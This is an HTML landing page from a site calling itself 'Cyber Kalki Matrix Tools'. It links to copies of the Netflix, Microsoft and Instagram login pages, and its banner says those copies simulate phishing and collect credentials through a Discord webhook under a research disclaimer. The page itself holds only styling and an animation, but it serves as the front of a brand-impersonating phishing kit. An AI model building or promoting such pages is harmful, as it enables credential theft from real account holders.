<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Security Test Links</title>
    <link href="https://fonts.googleapis.com/css2?family=Russo+One&display=swap" rel="stylesheet">
<link href="https://fonts.googleapis.com/css2?family=Poppins:wght@400;500;600&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/css/all.min.css">
    <style>
        body {
            margin: 0;
            padding: 0;
            background: black;
            font-family: 'Russo One', sans-serif;
            color: #00FF41;
            overflow-x: hidden;
        }

        #matrixCanvas {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            z-index: 0;
        }

        .overlay {
            position: relative;
            z-index: 1;
            padding: 20px;
padding-bottom: 100px;
            min-height: 100vh;
        }

        .back-button {
            display: inline-block;
            padding: 10px 20px;
            color: #00FF41;
            text-decoration: none;
            border: 2px solid #00FF41;
            margin-bottom: 30px;
            transition: all 0.3s ease;
        }

        .back-button:hover {
            background: rgba(0, 255, 65, 0.1);
            box-shadow: 0 0 20px rgba(0, 255, 65, 0.5);
        }

        .holographic-title {
            text-align: center;
            font-size: 2.5rem;
            margin-bottom: 50px;
            text-shadow: 0 0 10px rgba(0, 255, 65, 0.5);
        }

        .links-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
            gap: 30px;
            max-width: 1200px;
            margin: 0 auto;
            padding: 20px;
        }

        .link-card {
            background: rgba(0, 0, 0, 0.7);
            border: 2px solid #00FF41;
            padding: 25px;
            text-align: center;
            cursor: pointer;
            position: relative;
            overflow: hidden;
            transition: all 0.3s ease;
        }

        .link-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 0 30px rgba(0, 255, 65, 0.3);
        }

        .link-card i {
            font-size: 2.5rem;
            margin-bottom: 15px;
            color: #00FF41;
        }

        .link-card h3 {
            margin: 10px 0;
            color: #00FF41;
        }

        .link-card p {
            color: #00FF41;
            opacity: 0.8;
            margin-bottom: 20px;
        }

        .link-card a {
            color: #00FF41;
            text-decoration: none;
            padding: 10px 20px;
            border: 1px solid #00FF41;
            transition: all 0.3s ease;
        }

        .link-card a:hover {
            background: rgba(0, 255, 65, 0.1);
            box-shadow: 0 0 20px rgba(0, 255, 65, 0.3);
        }

        .system-scan {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 2px;
            background: #00FF41;
            animation: scan 3s linear infinite;
            opacity: 0.5;
            z-index: 2;
        }

        @keyframes scan {
            0% {
                transform: translateY(0);
            }
            100% {
                transform: translateY(100vh);
            }
        }

    /* New styles for disclaimer */
        .disclaimer-banner {
            background: rgba(0, 0, 0, 0.9);
            border: 2px solid #FF0000;
            padding: 20px;
            margin: 20px auto 40px;
            max-width: 1000px;
            text-align: center;
            position: relative;
            z-index: 1;
            animation: pulse 2s infinite;
        }

        .disclaimer-banner h2 {
            color: #FF0000;
            margin-bottom: 10px;
            text-shadow: 0 0 10px rgba(255, 0, 0, 0.5);
        }

        .disclaimer-banner p {
            color: #FF4141;
            line-height: 1.6;
        }

        @keyframes pulse {
            0% { box-shadow: 0 0 5px rgba(255, 0, 0, 0.5); }
            50% { box-shadow: 0 0 20px rgba(255, 0, 0, 0.5); }
            100% { box-shadow: 0 0 5px rgba(255, 0, 0, 0.5); }
        }

        .matrix-footer {
            position: fixed;
            bottom: 0;
            left: 0;
            width: 100%;
            background-color: rgba(0, 0, 0, 0.7);
            color: #4ade80;
            text-align: center;
            padding: 0.5rem 0;
            box-shadow: 0 -2px 10px rgba(0, 0, 0, 0.5);
            letter-spacing: 0.05em;
            z-index: 9999; /* This ensures the footer appears above other elements */
        }

        .footer-content {
            animation: pulse-slow 3s ease-in-out infinite;
        }

        .footer-line {
            position: absolute;
            left: 0;
            right: 0;
            bottom: 0;
            height: 2px;
            background-color: #22c55e;
            opacity: 0.5;
            filter: blur(1px);
            animation: flicker 0.1s linear infinite;
        }

        @keyframes pulse-slow {
            0%, 100% { opacity: 0.7; }
            50% { opacity: 0.9; }
        }

        @keyframes flicker {
            0%, 19%, 21%, 23%, 25%, 54%, 56%, 100% { opacity: 0.7; }
            20%, 24%, 55% { opacity: 0.3; }
        }
    </style>
</head>
<body>                                                                                                                     <canvas id="matrixCanvas"></canvas>
    <div class="system-scan"></div>

    <div class="overlay">
        <a href="https://kalkikrivadna.com/cyberkalkitoolsob.html" class="back-button">Back to Toolkit</a>

<div class="disclaimer-banner">
            <h2>[ SECURITY RESEARCH DISCLAIMER ]</h2>
            <p>ATTENTION: These demonstration pages are designed strictly for security research and educational purposes only. They simulate phishing techniques and collect credentials via Discord webhook for research demonstration. Any use of these pages for malicious purposes or actual credential harvesting is strictly prohibited and illegal. By accessing these pages, you acknowledge that you are a security researcher or penetration tester conducting authorized testing.</p>
        </div>

        <h1 class="holographic-title">Security Test Links</h1>


        <div class="links-grid">
            <div class="link-card">
                <i class="fab fa-netflix"></i>
                <h3>Netflix Security Test</h3>
                <p>Analyze Netflix login security implementation</p>
                <a href="https://kalkikrivadna.com/netflixlogin.html" target="_blank">Access Test</a>
            </div>

            <div class="link-card">
                <i class="fab fa-microsoft"></i>
                <h3>Microsoft Security Test</h3>
                <p>Examine Microsoft authentication methods</p>
                <a href="https://kalkikrivadna.com/microsoft.html" target="_blank">Access Test</a>
            </div>

            <div class="link-card">
                <i class="fab fa-instagram"></i>
                <h3>Instagram Security Test</h3>
                <p>Review Instagram security patterns</p>
                <a href="https://kalkikrivadna.com/instagramob.html" target="_blank">Access Test</a>
            </div>


        </div>
    </div>

<footer class="matrix-footer">
         <div class="footer-content" style="font-family: 'Poppins', sans-serif;">
            © 2024 Cyber Kalki Matrix Tools | Prepare for Next Level of Digital Defense
        </div>
         </footer>
    <script>
        // Matrix rain effect
        const canvas = document.getElementById('matrixCanvas');
        const ctx = canvas.getContext('2d');

        canvas.width = window.innerWidth;
        canvas.height = window.innerHeight;

        const matrix = "ABCDEFGHIJKLMNOPQRSTUVWXYZ123456789@#$%^&*()*&^%";
        const matrixChars = matrix.split('');

        const fontSize = 10;
        const columns = canvas.width/fontSize;

        const drops = [];
        for(let x = 0; x < columns; x++) {
            drops[x] = 1;
        }

        function draw() {
            ctx.fillStyle = 'rgba(0, 0, 0, 0.04)';
            ctx.fillRect(0, 0, canvas.width, canvas.height);

            ctx.fillStyle = '#0F0';
            ctx.font = fontSize + 'px monospace';

            for(let i = 0; i < drops.length; i++) {
                const text = matrixChars[Math.floor(Math.random()*matrixChars.length)];
                ctx.fillText(text, i*fontSize, drops[i]*fontSize);

                if(drops[i]*fontSize > canvas.height && Math.random() > 0.975)
                    drops[i] = 0;

                drops[i]++;
            }
        }

        setInterval(draw, 35);

        // Handle window resize
        window.addEventListener('resize', () => {
            canvas.width = window.innerWidth;
            canvas.height = window.innerHeight;
        });
    </script>